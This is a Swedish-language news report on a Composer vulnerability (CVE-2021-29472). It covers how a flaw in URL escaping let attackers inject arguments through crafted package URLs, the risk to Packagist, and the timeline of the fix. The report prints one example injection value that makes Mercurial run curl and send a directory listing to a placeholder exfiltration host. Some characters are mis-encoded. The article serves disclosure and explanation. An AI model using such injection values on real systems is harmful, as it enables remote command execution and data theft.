En kritisk sÄrbarhet (CVE-2021-29472) har upptÀckts i beroendehanteraren Composer, som tillÄter utförande av godtyckliga kommandon i systemet nÀr ett paket med ett sÀrskilt formaterat URL-vÀrde, som anger adressen för nedladdning av kÀllkoder, behandlas. Problemet manifesterar sig i komponenterna GitDriver, SvnDriver och HgDriver, som anvÀnds nÀr man arbetar med versionshanteringssystemen Git, Subversion och Mercurial. SÄrbarheten har ÄtgÀrdats i versionerna Composer 1.10.22 och 2.0.13.
Det Àr vÀrt att notera att problemet huvudsakligen drabbade det paketförrÄd som som standard anvÀnds i Composer, Packagist, som omfattar 306 000 paket för utvecklare i PHP och betjÀnar mer Àn 1,4 miljarder nedladdningar varje mÄnad. I en försök visades det att om angriparna hade information om problemetcould, skulle de kunna fÄ kontroll över Packagists infrastruktur och avlyssna inloggningsuppgifter eller omdirigera nedladdningar av paket till en extern server, och pÄ sÄ sÀtt leverera varianter av paket med skadliga Àndringar för att införa bakdörrar vid installationen av beroenden.
Faran för slutanvÀndarna begrÀnsas av det faktum att innehÄllet i composer.json vanligtvis definieras av anvÀndaren sjÀlv, och lÀnkarna till kÀllkoderna tillhandahÄlls nÀr man kontaktar externa förvar, som vanligtvis Àr pÄlitliga. Det största slaget drabbade förvaret Packagist.org och tjÀnsten Private Packagist, som anropar Composer med data som inhÀmtats frÄn anvÀndarna. Illvilliga aktörer kunde utföra sin kod pÄ Packagists servrar genom att placera ett sÀrskilt formaterat paket.
Packagist-teamet ÄtgÀrdade sÄrbarheten inom 12 timmar efter att meddelandet om sÄrbarheten mottogs. Forskare informerade privat Packagists utvecklare den 22 april och samma dag ÄtgÀrdades problemet. Den offentliga uppdateringen av Composer med ÄtgÀrden av sÄrbarheten publicerades den 27 april, och detaljer avslöjades den 28 april. En granskning av loggarna pÄ Packagists servrar visade ingen misstÀnkt aktivitet relaterad till sÄrbarheten.
Problemet orsakades av ett fel i koden som validerar URL:er i den root-filen composer.json och lĂ€nkarna för nedladdning av kĂ€lltexter. Felet har funnits i koden sedan november 2011. I Packagist anvĂ€nds speciella lager för att möjliggöra nedladdning av koden utan koppling till specifika kĂ€llkodshanteringssystem, dessa utförs genom att anropa "fromShellCommandline" med överföring av kommandoradsargument. Till exempel för git anropas kommandot "git ls-remote âheads $URL", dĂ€r URL:en bearbetas med metoden "ProcessExecutor::escape($url)", som maskerar potentiellt farliga konstruktioner som "$(âŠ)" eller "`âŠ`".
KĂ€rnan i problemet Ă€r att metoden ProcessExecutor::escape inte maskerade sekvensen "â", vilket gjorde det möjligt att ange vilket som helst ytterligare anropsparameter i URL:en. Liknande maskering saknades i drivrutinerna GitDriver.php, SvnDriver.php och HgDriver.php. Ett angrepp genom GitDriver.php hindrades av att kommandot "git ls-remote" inte stödde angivande av ytterligare argument efter sökvĂ€gen. Ett angrepp pĂ„ HgDriver.php blev möjligt genom att överföra parametern "âconfig" till verktyget "hq", vilket möjliggjorde körning av valfritt kommando genom manipulerande av instĂ€llningen "alias.identify". Till exempel för att ladda ner och köra kod genom att starta verktyget curl kunde man ange: âconfig=alias.identify=!curl http://exfiltration-host.tld âdata "$(ls -alh)".
Genom att ladda upp ett testpaket med en sÄdan URL pÄ Packagist, bekrÀftade forskarna att efter uppladdningen till deras server kom en HTTP-förfrÄgan frÄn en av servrar Packagist i AWS, som innehöll en lista över filer i den aktuella katalogen.
KĂ€lla: opennet.ru
